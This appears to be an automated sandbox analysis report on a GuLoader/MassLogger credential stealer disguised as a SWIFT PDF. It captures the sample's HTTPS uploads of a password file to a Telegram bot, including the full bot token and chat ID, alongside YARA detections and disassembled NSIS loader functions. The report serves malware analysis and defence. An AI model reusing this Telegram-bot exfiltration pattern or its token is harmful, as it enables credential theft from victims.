2024-12-16 08:06:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 64 66 62 32 30 35 61 64 32 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1dfb205ad284Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-16 08:06:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 08:06:02 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 08:06:02 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 32 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 33 36 33 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":12278,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734336362,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49891	149.154.167.220	443	7844	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:06:05 UTC	271	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1e200f538461 Host: api.telegram.org Content-Length: 1090
2024-12-16 08:06:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 65 32 30 30 66 35 33 38 34 36 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1e200f538461Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-16 08:06:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 08:06:06 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 08:06:06 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 32 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 33 36 33 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":12279,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734336366,"document":{"file_n

Target ID:	0
Start time:	03:04:00
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"
Imagebase:	0x400000
File size:	434'942 bytes
MD5 hash:	397346C3391583257950CFE556F0A5E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2465323286.0000000002B76000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:05:17
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\SWIFT091816-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"
Imagebase:	0x400000
File size:	434'942 bytes
MD5 hash:	397346C3391583257950CFE556F0A5E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.2936005396.0000000001816000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	14%
Signature Coverage:	25.1%
Total number of Nodes:	1511
Total number of Limit Nodes:	47

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,?,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
SeShutdownPrivilege, xrefs: 0040374D
C:\Users\user\Desktop\SWIFT091816-24_pdf.exe, xrefs: 004036D6
~nsu, xrefs: 00403623
Low, xrefs: 004034F8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
1033, xrefs: 00403526
NSIS Error, xrefs: 00403341
UXTHEME, xrefs: 004032E7
\Temp, xrefs: 004034DC
TMP, xrefs: 00403512
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004035D3
USERENV, xrefs: 004032F1
"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe", xrefs: 00403356, 0040335C, 00403553
Error launching installer, xrefs: 004035AD
SETUPAPI, xrefs: 004032FB
.tmp, xrefs: 0040363F
TEMP, xrefs: 0040350A

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT091816-24_pdf.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-572181032
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
N, xrefs: 00404DBB
, xrefs: 004050E9

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(?,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1
